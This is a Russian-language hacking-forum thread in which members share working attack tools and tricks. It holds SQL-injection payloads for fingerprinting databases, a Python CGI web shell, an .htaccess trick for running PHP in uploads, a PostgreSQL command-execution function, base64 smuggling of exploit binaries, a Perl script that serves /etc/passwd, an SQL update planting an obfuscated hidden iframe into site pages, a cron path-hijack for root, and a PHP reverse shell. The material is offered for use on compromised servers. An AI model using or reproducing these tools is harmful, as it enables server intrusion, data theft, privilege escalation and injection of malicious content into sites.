Старый 31.07.2012, 22:13   #61
win
 
Регистрация: 16.12.2011
Сообщений: 4
Репутация: 12
По умолчанию

Уникальные функции для определения СУБД.

MySQL (>=3.*)

id=1 and concat_ws(1,1)
id=1 and connection_id()
id=1 and inet_aton(1)
id=1 and password(1)
id=1 and inet_ntoa(111111111)
id=1 and field(1,1)
id=1 and elt(1,1)
id=1 and curdate()
id=1 and find_in_set(1,1)
id=1 and make_set(1,1)
id=1 and export_set(1,1,1)

MSSQL (>=2000)

id=1 and CHECKSUM(1)=CHECKSUM(1)
id=1 and QUOTENAME(1)=QUOTENAME(1)
id=1 and APP_NAME()=APP_NAME()
id=1 and PERMISSIONS()=PERMISSIONS()
id=1 and ROWCOUNT_BIG()=ROWCOUNT_BIG()

PostgreSQL (>=7.4)

id=1 and pg_client_encoding()=pg_client_encoding()
id=1 and split_part(chr(1),chr(1),1)=split_part(chr(1),chr( 1),1)
id=1 and quote_literal(chr(1))=quote_literal(chr(1))
id=1 and quote_ident(chr(1))=quote_ident(chr(1))
id=1 and string_to_array(chr(1),chr(1))=string_to_array(chr (1),chr(1))

DB2 (>=8)

id=1 and GRAPHIC(1)=GRAPHIC(1)
id=1 and DOUBLE_PRECISION(1)=DOUBLE_PRECISION(1)
id=1 and MULTIPLY_ALT(1,1)=MULTIPLY_ALT(1,1)
id=1 and JULIAN_DAY(CURRENT_DATE)=JULIAN_DAY(CURRENT_DATE)
id=1 and GENERATE_UNIQUE()!=GENERATE_UNIQUE()
id=1 and MIDNIGHT_SECONDS(current_time)=MIDNIGHT_SECONDS(cu rrent_time)
id=1 and dbclob('1')=dbclob('1')
id=1 and blob('1')=blob('1')
id=1 and clob('1')=clob('1')

SQLite

id=1 and last_insert_rowid() (>=2.4.7)
id=1 and zeroblob(1)=zeroblob(1)
id=1 and total_changes()
id=1 and sqlite_version()
id=1 and sqlite_compileoption_get(1)=sqlite_compileoption_g et(1)
id=1 and sqlite_compileoption_used(1)=sqlite_compileoption_ used(1)
id=1 and sqlite_source_id()
id=1 and changes()
id=1 and glob(1,1)

Firebird (>=2.1)

id=1 and GEN_UUID()!=GEN_UUID()
id=1 and BIN_SHL(1,1)=BIN_SHL(1,1)
id=1 and BIN_SHR(1,1)=BIN_SHR(1,1)
id=1 and ASCII_CHAR(1)=ASCII_CHAR(1)

Ingres (>=9.2)

id=1 and VARBYTE(1)=VARBYTE(1)
id=1 and BYTEEXTRACT(1,1)=BYTEEXTRACT(1,1)
id=1 and SQUEEZE(1)=SQUEEZE(1)
id=1 and _TIME(1)=_TIME(1)
id=1 and UUID_CREATE()!=UUID_CREATE()

Oracle (>=8.1.5)

id=1 and instrb(1,1)=1
id=1 and lengthb(1)=1
id=1 and rawtohex(1)=rawtohex(1)
id=1 and hextoraw(1)=hextoraw(1)
id=1 and TO_MULTI_BYTE(1)=TO_MULTI_BYTE(1)
id=1 and TO_SINGLE_BYTE(1)=TO_SINGLE_BYTE(1)
id=1 and SYS_GUID()!=SYS_GUID()
id=1 and NLS_CHARSET_NAME(1)=NLS_CHARSET_NAME(1)

Access (>=2003)

id=1 and choose(1,1)
id=1 and InstrRev(1,1)
id=1 and StrConv(1,1)
id=1 and Sgn(1)
id=1 and DateSerial(1,1,1)
id=1 and TimeSerial(1,1,1)
id=1 and CVar(1)
id=1 and CCur(1)
id=1 and CInt(1)

Informix (>=10)

id=1 and DBSERVERNAME=DBSERVERNAME
id=1 and SITENAME=SITENAME
id=1 and MDY(1,1,1)=MDY(1,1,1)
id=1 and ROOT(1)=ROOT(1)

Sybase (>=10)

id=1 and COUNT_SET_BITS(1)=1
id=1 and EVENT_CONDITION_NAME(1)=EVENT_CONDITION_NAME(1)
id=1 and LESSER(1,1)=LESSER(1,1)
id=1 and NEXT_CONNECTION(0)=NEXT_CONNECTION(0)
id=1 and PROPERTY_NAME(1)=PROPERTY_NAME(1)
id=1 and TRUNCNUM(1,1)=TRUNCNUM(1,1)
id=1 and YMD(1,1,1)=YMD(1,1,1)
win вне форума   Ответить с цитированием
Старый 30.08.2012, 19:23   #62
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

когда-то нарыл и переделал децл, чтобы через пост и вообще, иногда надо, чтобы мало весил:

shell.py

Код:
#!/usr/bin/env python
import cgi,os,re,sys
form = cgi.FieldStorage()
cmd = form.getvalue('cmd', '')
osexe = os.popen(cmd)
dirt = os.getcwd()+'/'
prognm = sys.argv[0].strip()
progfl = re.findall(dirt+'(.*)',prognm)[0]
osinf = os.uname()
info='''System : %s %s %s %s''' %(osinf[0],osinf[2],osinf[3],osinf[4])
print "Content-type: text/html"
print
print"""<body onload="document.getElementById('c').focus()"><pre>%s</pre><form method=post action=%s>Command <input type=text id=c name=cmd><input type=submit></form><pre>%s</pre>""" %(info,progfl,osexe.read())
Pashkela вне форума   Ответить с цитированием
Старый 10.09.2012, 17:18   #63
Beched
 
Регистрация: 06.07.2010
Сообщений: 402
Репутация: 118
По умолчанию

Просто старая фича в дополнение к посту, которая удобна для бэкдоров и не только.

Бывает, что есть заливка произвольных файлов, но отключено исполнение скриптов, и каждый файл льётся в свою директорию (по инкрементирующемуся или случайному номеру). Тогда, если AllowOverride позволяет, можно залить примерно такой .htaccess:
Код:
<Files ~ "^.ht.*$">
order deny,allow
allow from all
</Files>
AddType application/x-httpd-php .htaccess
AddHandler x-httpd-php .htaccess
php_flag engine on
#<?phpinfo();?>
Beched вне форума   Ответить с цитированием
Старый 12.09.2012, 22:35   #64
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Ковырял postgresql на предмет залится через него - copy to добавляет свой заголовок- соответственно бинарник с либой не загрузить, perl/tcl/python языков встроено не было, adminpack`а тоже не присутствовало в системе, стал искать методом тыка существующие функции, сделал так:
Цитата:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS 'plpgsql', 'system' LANGUAGE 'C' STRICT
тоесть попытался подключить функцию system из либы plpgsql.so постгресной дефолтной, она ее я так понимаю же сама достала из libc уже? в общем не понял процесса произошедшего, но команды выполнять смог в итоге.

UPD. Проверялось на версии postgresql 8.4 , linux debian

Последний раз редактировалось tex; 13.09.2012 в 17:30..
tex вне форума   Ответить с цитированием
Старый 20.09.2012, 18:11   #65
Beched
 
Регистрация: 06.07.2010
Сообщений: 402
Репутация: 118
По умолчанию

Шпаргалка по безопасности Ruby:
http://code.google.com/p/ruby-security/wiki/Guide

В довесок презентация по безопасности RoR от Хомякова на Devconf:
http://homakov.blogspot.com/2012/06/slides-rails-security-from-devconf.html

Вообще там конечно не густо с багами.
Beched вне форума   Ответить с цитированием
Старый 09.01.2013, 14:38   #66
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Есть такие чудо-админы, которые не дают заливать бинарники через веб-шелл (просто не загружается или удаляются сразу, думаю встречали), качалок нет, gcc нет и т.д.

Обойти просто:

1. Компилите сплойт (где-то или на своей тачке)
2. У себя:

<?php file_put_contents("sploit.base64", base64_encode(file_get_contents("sploit")));?>

3. Заливаем через веб-шелл получившийся sploit.base64
4. Через веб-шелл в разделе [ Php ]

file_put_contents("sploit", base64_decode(file_get_contents("sploit.base64"))) ;

и у вас бинарник в нужном месте

PS: просто стал часто такую "защиту" встречать

PSS: способ сработает даже тогда, когда простая приделка расширению бинарнику (.zip или .txt) все равно не помогает

Последний раз редактировалось Pashkela; 09.01.2013 в 14:52..
Pashkela вне форума   Ответить с цитированием
Старый 01.02.2013, 22:43   #67
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Может кому понадобиться, по идее поможет сливать большие файлы через браузер, даже если обрыв связи

Файлы не обязательно в веб-директории. Ограничения: перл работает из диры, доступной из веба

perl cgi-downloader:

Код:
#!/usr/bin/perl -wt
# Поддержка докачки
# Поддержка буфера - 4096
#######################################################################################
$path = "/etc/passwd";
#######################################################################################
$ranges = $ENV{'HTTP_RANGE'};
($file, $query) = split(/;/,$path);
$contenttype = $ENV{'CONTENT_TYPE'};
sub badjob {
local($mesg) = @_;
print "Status: 403 \"BOGUS\"\r\n\r\n";
print "<HEAD><TITLE>403 BOGUS</TITLE></HEAD>"; print "<BODY><H1>403 BOGUS</H1>";
print "<pre>$mesg</pre>\r\n";
print "Bad Request\r\n\r\n";
exit 1;
}
if ($contenttype eq ""){ 
        $contenttype = " application/x-unknow";
}
if ((! -r $file) || (length $file <= 3)) 
{ 
        &badjob("file $file not found");
}
if ($ENV{'REQUEST_METHOD'} ne 'GET') 
{ # not URL-based query 
        &badjob("METHOD not GET");
}
$size = -s $file;
if (($query eq "") && ($ranges eq "")) 
{
        # respond that we can do ranges
        print "Accept-ranges: bytes\r\n";
        print "Content-type: $contenttype\r\n"; 
        printf "Content-Length: %d\r\n\r\n", $size; 
        open(FILE, "< $file");
        while(read(FILE, $buffer, 4096)) {
        print STDOUT $buffer;
}
exit 0;
} else {
    if ($ranges ne "")
    { 
        $query = $ranges;
        $query =~ s/bytes=//;
    }
    else
    {           
        $query =~ s/\s+//g; # squeeze all whitespace out 
        $query =~ s/bytes=//; 
    }
    @byterangeCheck = split(/[-,=]/,$query); 
    while (defined($fbyte = shift(@byterangeCheck))) {
        $lbyte = shift(byterangeCheck);
        if (($fbyte > 0) && ($lbyte < 0)) {
                &badjob("query range malformed");
        }
        if (($fbyte < 0) && ($lbyte > 0)) {
                &badjob("query range malformed"); 
        }
        if ($fbyte > $lbyte) {
                &badjob("query range malformed");
        }
    }
    @byterange = split(/[,]/,$query);
}
if ( $ranges ne "" )
{
        print "Status: 206 Partial Content\r\n";
}
$boundary="multipart-boundary";
print "Accept-ranges: bytes\r\n";
print "Content-type: multipart/x-byteranges; boundary=$boundary\r\n\r\n";
open(FILE, "< $file");
while (defined ($range = shift(@byterange))) {
    ($fbyte, $lbyte) = split('-', $range); 
    $i = index($range,"-");
    if ($i == 0) { $fbyte = -1; }
    if ($fbyte < 0) {
        $fbyte = $size - $lbyte;
        $lbyte = $size;
    }
    $nbytes = $lbyte - $fbyte + 1;
    print "\r\n--$boundary\r\n";
    print "Content-type: $contenttype\r\n";
    printf "Content-Range: bytes %d-%d/%d\r\n\r\n", $fbyte, $lbyte, $size;
    seek(FILE, $fbyte, 0);
    read(FILE, $buffer, $nbytes);
    print STDOUT $buffer;
}
print "\r\n--$boundary--\r\n";
exit 0;
аккуратно, ресурсы жрет конкретно, но и качает гораздо быстрее

PS: для понимания возможностей попробуйте скачать локально файл мегов так на 100-150

Последний раз редактировалось Pashkela; 01.02.2013 в 22:51..
Pashkela вне форума   Ответить с цитированием
Старый 24.02.2013, 11:46   #68
BigBear
 
Регистрация: 26.07.2012
Сообщений: 134
Репутация: 51
По умолчанию

Периодически бывает, что на шелле не хватает прав на редактирование файлов, рута нет, а профрэймить ну очень надо.

Тогда, если в MySQL есть таблица, содержащая html код нам поможет следующий запрос в базу данных

Код:
update [table] set [column_name_with_html]=concat([column_name_with_html],'[iframe code]';
Запрос обновит все значения text в нужной нам таблице, не нарушая находящегося в них текста.

Например так

Код:
update page set text=concat(text,' <script type="text/javascript">document.write(\'\\u003C\\u0064\\u0069\\u0076\\u0020\\u0073\\u0074\\u0079\\u006C\\u0065\\u003D\\u0022\\u0064\\u0069\\u0073\\u0070\\u006C\\u0061\\u0079\\u003A\\u006E\\u006F\\u006E\\u0065\\u003B\\u0022\\u003E\\u003C\\u006E\\u006F\\u0066\\u006F\\u006C\\u006C\\u006F\\u0077\\u003E\\u003C\\u006E\\u006F\\u0069\\u006E\\u0064\\u0065\\u0078\\u003E\\u003C\\u0069\\u0066\\u0072\\u0061\\u006D\\u0065\\u0020\\u0073\\u0072\\u0063\\u003D\\u0022\\u0068\\u0074\\u0074\\u0070\\u003A\\u002F\\u002F\\u0074\\u0064\\u0073\\u0022\\u0020\\u0077\\u0069\\u0064\\u0074\\u0068\\u003D\\u0022\\u0031\\u0022\\u0020\\u0068\\u0065\\u0069\\u0067\\u0068\\u0074\\u003D\\u0022\\u0031\\u0022\\u0020\\u0066\\u0072\\u0061\\u006D\\u0065\\u0062\\u006F\\u0072\\u0064\\u0065\\u0072\\u003D\\u0022\\u0030\\u0022\\u003E\\u003C\\u002F\\u0069\\u0066\\u0072\\u0061\\u006D\\u0065\\u003E\\u003C\\u002F\\u006E\\u006F\\u0069\\u006E\\u0064\\u0065\\u0078\\u003E\\u003C\\u002F\\u006E\\u006F\\u0066\\u006F\\u006C\\u006C\\u006F\\u0077\\u003E\\u003C\\u002F\\u0064\\u0069\\u0076\\u003E\');</script>');
Тут обфусцирован и прослэширован текст
Код:
<div style="display:none;"><nofollow><noindex><iframe src="http://tds" width="1" height="1" frameborder="0"></iframe></noindex></nofollow></div>

Последний раз редактировалось BigBear; 24.02.2013 в 11:51..
BigBear вне форума   Ответить с цитированием
Старый 25.03.2013, 13:16   #69
SynQ
 
Регистрация: 11.07.2010
Сообщений: 954
Репутация: 352
По умолчанию

Пусть в кроне от рута исполняется /home/ftp/site/scripts/do_some_job.sh.

Код:
user:/tmp$ ls -la /home/ftp/site/scripts/
total 12
drwxr-xr-x 2 root root 4096 Mar 25 10:07 .
drwxr-xr-x 3 root root 4096 Mar 25 10:07 ..
-rwxr-xr-x 1 root root   73 Mar 25 10:07 do_some_job.sh
С виду все плохо, но:
Код:
user:/tmp$ ls -la /home/ftp/site
total 12
drwxr-xr-x 3 root root 4096 Mar 25 10:07 .
drwxrwxrwx 3 root root 4096 Mar 25 10:07 ..
drwxr-xr-x 2 root root 4096 Mar 25 10:07 scripts
user:/tmp$ ls -la /home/ftp/
total 12
drwxrwxrwx 3 root root 4096 Mar 25 10:07 .
drwxr-xr-x 8 root root 4096 Mar 25 10:05 ..
drwxr-xr-x 3 root root 4096 Mar 25 10:07 site
Общеизвестно, но напомнить не помешает - проверяйте весь путь

Код:
user:/home/ftp$ mv -f site site.old; mkdir site
user:/home/ftp$ ls -la
total 16
drwxrwxrwx 4 root root 4096 Mar 25 10:10 .
drwxr-xr-x 8 root root 4096 Mar 25 10:05 ..
drwxrwxr-x 2 user user 4096 Mar 25 10:10 site
drwxr-xr-x 3 root root 4096 Mar 25 10:07 site.old
============
Недавно встретил в writeup какого-то CTF.
Если target хост устанавливает с вами несколько последовательных соединений, то по разнице в номерах портов можно установить, сколько успешных коннектов с другими хостами смог установить target хост.

Тут между коннектами target успел установить 1 соединение с каким-то хостом:
Код:
tcp        0      0 my_host:1234     target_host:53166      ESTABLISHED
tcp        0      0 my_host:1234     target_host:53168      ESTABLISHED
Тут между коннектами target не устанавливал других успешных (или вообще) соединений:
Код:
tcp        0      0 my_host:1234     target_host:53253      ESTABLISHED
tcp        0      0 my_host:1234     target_host:53254      ESTABLISHED
SynQ вне форума   Ответить с цитированием
Старый 31.03.2013, 13:16   #70
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

нашел на просторах бекконект на php, простенький, но рабочий:

PHP код:
echo "<br><b>ZoRBaCK Connect<br> 
            Usage: nc -vv -l -p 21<br>
            <hr> 
            <form method='POST' action=''><br> 
            Your IP & Port:<br> 
            <input type='text' name='ipim' size='15' value=''>
            <input type='text' name='portum' size='5' value='21'><br><br> 
            <input type='submit' value='Connect'><br><br>
            <hr>
            </form>"

            
         
$ipim=$_POST['ipim']; 
         
$portum=$_POST['portum']; 
         if (
$ipim <> ""
         { 
         
$mucx=fsockopen($ipim $portum $errno$errstr ); 
         if (!
$mucx){ 
               
$result "Error: didnt connect !!!"
         } 
         else { 
         
         
$zamazing0="\n";
                  
         
fputs ($mucx ,"\nwelcome ZoRBaCK\n\n");
         
fputs($mucx system("uname -a") .$zamazing0 );
         
fputs($mucx system("pwd") .$zamazing0 );
         
fputs($mucx system("id") .$zamazing0.$zamazing0 );
         while(!
feof($mucx)){  
       
fputs ($mucx); 
       
$one="[$";
       
$two="]";
       
$resultfgets ($mucx8192); 
      
$message=`$result`; 
       
fputs ($mucx$onesystem("whoami") .$two" " .$message."\n"); 
      } 
      
fclose ($mucx); 
         } 
         } 
Pashkela вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot